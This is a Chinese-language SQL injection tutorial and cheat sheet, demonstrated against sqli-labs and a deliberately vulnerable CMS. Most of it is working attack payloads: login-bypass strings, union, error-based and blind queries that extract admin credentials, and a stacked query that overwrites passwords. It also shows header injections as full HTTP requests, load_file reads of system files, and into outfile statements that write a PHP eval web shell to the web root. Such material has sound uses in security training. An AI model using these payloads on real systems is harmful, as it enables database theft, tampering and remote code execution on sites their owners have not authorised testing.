文章目录
前言
SQL注入(SQL Injection)是一种常见的Web安全攻击手段,攻击者通过精心构造恶意SQL查询,意图欺骗应用程序将这些查询作为命令发送给数据库服务器。当用户输入未经适当验证的数据直接插入到SQL语句中,就可能导致攻击者获取敏感信息、修改数据、甚至控制整个数据库系统。
SQL注入原理
SQL注入的攻击行为可以描述为通过用户可控参数中注入SQL语法,破坏原有的SQL结构,达到编写程序时意料之外结果的攻击行为。
造成SQL注入漏洞的原因:
1.程序员在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句。
2.未对用户可控参数进行足够的过滤,便将参数内容拼接到SQL语句中。
SQL注入危害
攻击者利用SQL注入可以获取数据库中的信息,这会导致信息的泄露,如后台管理员的账密。也可以利用SQL注入往数据库里插入内容,篡改数据库。如果数据库的权限分配有问题的话,攻击者还可以利用SQL注入来获取WebShell和提权。会造成不可估量的后果。
SQL注入分类
SQL注入分为字符型
和数字型
两种注入。如果有引号包裹就是字符型注入,没有就是数字型注入。
基本类型 | 基本手法 | 方式 | 注入点位置 |
---|---|---|---|
数字型 字符型 | 报错注入 联合查询 布尔盲注 延时注入 堆叠查询 | GET注入 POST注入 Cookie注入 HTTP头部注入 | URL注入 搜索框注入 留言板注入 登录框注入 |
如何判断SQL注入点(挖掘SQL注入漏洞)
首先,既然要进行SQL注入,我们就需要找有输入的地方,不输入我们怎么注入呢? 我们首要查看的是存在页面传值或者查询的地方。
现在我们如果想要进行漏挖,一般直接用扫描器直接进行扫描就行,但是这种方式会产生很大的流量,有可能就会造成严重的后果,所以有时候我们就需要手动进行检测是否存在漏洞。
注入点判断技法:
1.+1
或-1
:判断是否能够回显上一个或者下一个页面
2.'
或"
:是否显示数据库错误信息,根据回显的内容来判断是字符型数据还是数字型数据。
3.and 1=1
或者and 1=2
:通过回显的页面不同来判断布尔类型状态
4.and sleep(3)
:判断页面的返回事件
5.\
:判断转义
ps:注入需要注意以下问题:
注意点 | 解释 | 对应注入技法 |
---|---|---|
回显 | 数据库中的内容是否会显示到网页中 | 联合查询 |
数据库报错 | 数据库报错信息是否会回显到网页中来 数据的信息状态 | 报错注入 |
布尔类型状态 | 显示的页面状态 | 布尔盲注 |
延时 | 数据库沉睡相应的秒数 | 延时注入 |
技法
万能用户名:
admin' or 1=1 --
admin' or 1=1 #
可以代替空格的字符:
%0A
%0B
%0D
%A0
注释:
MySQL中的注释 | URL中的注释 |
---|---|
【-- 】 | –+ |
【#】 | %23 |
内联注释 |
常见注入手法
联合查询
适用于数据库中的内容会显示到页面中来的情况。联合查询就是利用union select语句,该语句会同时执行两条select语句,实现跨库、跨表查询。
步骤:
1.首先,我们先判断列数。
?url=32 order by 1
?url=32 order by 2
.....
一直到报错没有显示为止
2.我们知道了列数后,就可以来看回显位了,假如我们这里的列数为3。
?url=32 and 1=2 union select 1,2,3
3.接着我们就查看页面,看看页面是怎么显示的,假如我们发现显示了一个3,说明第三个会显示在页面上,我们就可以开始注入了。
?url=32 and 1=2 union select 1,2,database()
显示位判断:
名称 | 说明 |
---|---|
version() | MySQL版本 |
user() | 当前数据库用户名 |
database() | 当前数据库名 |
@@version_compile_os | 当前操作系统版本 |
@@datadir | 数据库路径 |
**例子:**下面就是一个例子(文章管理系统):
本文章管理系统是一个包含了很多漏洞的cms网站,我想要通过联合查询来获取到管理员的账密
① 判断列数有15列,我获取了其操作系统的版本和数据库路径。
② 下面我想要获取其数据库名:
?id=32 and 1=2 UNION SELECT 1,2,database(),4,5,6,7,8,9,10,version(),12,13,14,15
③ 获取到数据库名后就要查询数据库中的表名:
我们将这串字符进行解码后得到表名(cms_article):
但是很显然,这并不是我们想要的表,我们继续进行查询,这里我们找到了想要找的表(cms_users
)
?id=32 and 1=2 UNION SELECT 1,2,database(),4,5,6,7,8,9,10,hex(group_concat(table_name)),12,13,14,15 from information_schema.tables where table_schema=database()
④ 得到我们想要的表名后就开始查找表中包含的列:
id=32 and 1=2 UNION SELECT 1,2,database(),4,5,6,7,8,9,10,hex(group_concat(column_name)),12,13,14,15 from information_schema.columns where table_schema=database() and table_name='cms_users'
将其解码得到列名(userid,username,password
):
⑤ 获取到列名后,我们就根据列名来获取值,也就是管理员的账密
?id=32 and 1=2 UNION SELECT 1,2,database(),4,5,6,7,8,9,10,hex(concat(username,0x3a,password)),12,13,14,15 from cms_users
我们对查询的账密进行解密,注意这里的0x3a
是:
,解密后我们发现密码进行了MD5加密,我们再将密码进行解密得到管理员账密(admin:123456)。
tips:如果发现报错:
可以加上hex()
,再进行解码。
报错注入
在注入点的判断过程中,发现数据库SQL语句的报错信息会显示在页面中,这种情况就可以使用报错注入。
报错注入的原理,是在错误信息中执行SQL语句。(建议直接背公式)
group by重复键冲
and (select 1 from (select count(*),concat(0x5e,(需要查询的内容),0x5e,floor(rand()*2))x from information_schema.tables group by x)a)
例子:
# 查找数据库名
?id=1 and (select 1 from (select count(*),concat(0x5e,(select database()),0x5e,floor(rand()*2))x from information_schema.tables group by x)a)
?id=1 and (select 1 from (select count(*),concat(0x5e,(select password from cms_users limit 0,1),0x5e,floor(rand()*2))x from information_schema.tables group by x)a)
extractvalue( )函数
and extractvalue(1,concat(0x5e,(需要查询的内容),0x5e))
例子:
?id=1 and extractvalue(1,concat(0x5e,(select database()),0x5e))
?id=1 and extractvalue(1,concat(0x5e,substr((select password from cms_users),17,32),0x5e))
updatexml( )函数
and updatexml(1,concat(0x5e,(需要查询的内容),0x5e),1)
例子:
?id=1 and updatexml(1,concat(0x5e,(select database()),0x5e),1)
?id=1 and updatexml(1,concat(0x5e,(select substr(password,1,16) from cms_users),0x5e),1)
?id=1 and updatexml(1,concat(0x5e,(select substr(password,17,32) from cms_users),0x5e),1)
布尔盲注
页面中有布尔类型的状态,可以根据布尔类型状态,对数据库中的内容进行判断
如果我们发现布尔类型不同,页面给我们的显示状态不同的话,就可以使用布尔盲注。下面是布尔盲注的一般步骤:
步骤 | 判断 | 具体 |
---|---|---|
1 | 判断当前数据库类型 | |
2 | 判断数据库名 | 数据库长度 数据库名每个Ascii码 |
3 | 判断库中的表名 | 库中表的个数 每个表名的长度 每个表名的Ascii码 |
4 | 判断表中的字段名 | 表中的字段个数 每个字段名的长度 字段名的Ascii码 |
5 | 判断字段中的数据 | 字段中数据的长度 数据的Ascii码 |
ps:一般用到的函数ascii()、substr()、length()、exists()、concat()等。
具体判断语句:
① 判断数据库类型
# 判断是否是MySQL数据库
and exists(select * from information_schema.tables) --+
# 判断是否是access数据库
and exists(select * from msysobjects) --+
# 判断是否是SQLServer数据库
and exists(select * from sysobjects) --+
② 判断当前数据库名
# 判断当前数据库的长度
and length(database())>2 --+
# 判断数据库名每个Ascii码
and ascii(substr(database(),1,1))>100 --+
③ 判断当前库的表名
# 判断当前库是否存在某表(user)
and exists(select * from user) --+
# 判断当前数据库中表的个数
and (select count(table_name) from information_schema.tables where table_schema=database())>2 --+
# 判断每个表的长度
and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5 --+
# 判断表名的Ascii码
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+
④ 判断表的字段名
# 判断表中字段的个数(表名xxx数据库名xxx)
and (select count(column_name) from information_schema.columns where table_name='xxx' and table_schema='xxx')>4 --+
# 判断每个字段的长度
and length((select column_name from information_schema.columns where table_name='xxx' and table_schema='xxx' limit 0,1))>5 --+
# 判断字段名的Ascii码
and ascii(substr((select column_name from information_schema.columns where table_name='xxx' and table_schema='xxx' limit 0,1),1,1))>100 --+
⑤ 判断字段中的数据
# 判断数据的长度(字段名xxx 表名tab)
and length((select xxx from tab limit 0,1))>5 --+
# 判断数据的Ascii码
and ascii(substr((select xxx from tab limit 0,1),1,1))>100 --+
延时注入
利用sleep( )语句的延时性,以时间线作为判断条件
1.判断数据库名的长度
and if(length(database())>1,sleep(5),1) --+
2.判断数据库名字
and if(substr(database(),3,1)='e',sleep(5),1) --+
堆叠查询
一次HTTP请求,可以同时执行多条SQL语句,包括增删改查操作。
堆叠查询可以执行任意的语句,而且执行条目数没有限制。但是堆叠查询并不是在哪都能用的,可能受到API或者其他限制。
?id=1';update users set password='123456' --+
宽字节注入
宽字节注入准确来说不是注入手法,而是一种比较特殊的情况,目的是绕过单双引号转义。
首先我们需要弄清楚窄字节和宽字节是啥:
**窄字节:**字符大小为一个字节
**宽字节:**字符大小为两个字节
ps:英文默认占一个字节、汉字占两个字节
有的时候我们使用单引号或者双引号会发现它被转义掉了。转义掉的引号就不会影响原来SQL语句的结构。
在多字节编码(如GBK)中,某些字符由多个字节组成。当应用程序过滤某些特殊字符(如单引号 '
)以防止SQL注入时,攻击者可以通过插入某些特殊字符组合,使得这些字符在数据库解析时形成一个完整的多字节字符,从而绕过过滤器。
这里我们以sqli-labs-32为例子。
我们发现我们输入的单引号('
)被转义掉了。那么我们怎么来让单引号能发挥作用呢?因为其被/给转义掉了,我们能不能将/消失呢?我们知道了上面的编码原理之后,我们可以对这个编码规则进行进一步的研究。转义函数在对这些编码进行转义时会将转义字符 ‘\’ 转为 %5c ,于是我们在他前面输入一个单字符编码与它组成一个新的多字符编码,使得原本的转义字符没有发生作用。这就是我们进行宽字节注入的原理。
' %27
\ %5c
運' %df
出现这种问题是由于浏览器编码造成的,我们把浏览器的编码切换为简体中文(GB2312)就可以解决了。
HTTP头部注入
HTTP头部注入是通过HTTP协议头部字段值进行注入。
HTTP头部注入常存在于User-Agent、Cookie、Referer、X-forwarder-For等。
① Cookie注入
以sqli-labs-20为例子,登录后抓包(Dumb/0)。
GET /sqli-labs-master/Less-20/index.php HTTP/1.1
Host: 192.168.109.100
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.109.100/sqli-labs-master/Less-20/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: uname=Dumb' and 1=2 union select 1,version(),database()#
Connection: close
注入成功后,我们想要的信息便显示了出来。
② base64注入
有的时候明文注入是不行的,这时候就需要使用base64注入。
我们将我们需要注入的内容进行base64编码再将其添加上去。
GET /sqli-labs-master/Less-22/index.php HTTP/1.1
Host: 192.168.109.100
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.109.100/sqli-labs-master/Less-22/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: uname=RHVtYicgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSx2ZXJzaW9uKCksZGF0YWJhc2UoKSM=
Connection: close
③ User-Agent注入
以sqli-labs-18为例子,登录后抓包(Dumb/Dumb)。
POST /sqli-labs-master/Less-18/index.php HTTP/1.1
Host: 192.168.109.100
Content-Length: 36
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.109.100
Content-Type: application/x-www-form-urlencoded
User-Agent: Dai' and updatexml(1,concat(0x5e,(select database()),0x5e),1) and '1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.109.100/sqli-labs-master/Less-18/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
uname=Dumb&passwd=Dumb&submit=Submit
注入成功后得到我们需要查询的内容。
④ Referer注入
以sqli-labs-19为例子,登录后抓包(Dumb/Dumb)。
POST /sqli-labs-master/Less-19/index.php HTTP/1.1
Host: 192.168.109.100
Content-Length: 36
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.109.100
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: Dai' and updatexml(1,concat(0x5e,(select database()),0x5e),1) and '1
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
uname=Dumb&passwd=Dumb&submit=Submit
注入成功后得到我们需要的信息
SQL注入读写文件
前提条件:
当前连接数据库的用户具有文件读写权限。
数据库用户由两个部分组成:用户名、地址。
and 1=2 union select 1,file_priv,3 from mysql.user where user='root' and host='localhost'
安全选项:
数据库安全选项(secure_file_priv
)限制了mysqld的导入导出操作,需要修改my.ini配置文件,并重启mysql数据库。
show global variables like '%secure_file_priv%';
读取文件:
使用load_file()
函数
and 1=2 union select 1,load_file("c:\\windows\\windows\\system32\\drivers\\etc\\hosts"),3
and 1=2 union select 1,load_file("c:/windows/system32/drivers/etc/hosts"),3
and 1=2 union select 1,load_file("/etc/passwd"),3
写入文件:
使用into outfile
语句
and 1=2 union select 1,2,3 into outfile "c:/phpstudy_2016/www/1.php"
and 1=2 union select 1,"<?php @eval($_REQUEST[777]);phpinfo()?>",3 into outfile "c:/phpstudy_2016/www/2.php"
and 1=2 union select 1,"<?php @eval($_REQUEST[777]);phpinfo()?>",3 into outfile "/var/www/html/1.php"
and 1=2 union select 1,"<?php @eval($_REQUEST[777]);phpinfo()?>",3 into outfile "/tmp/1.php"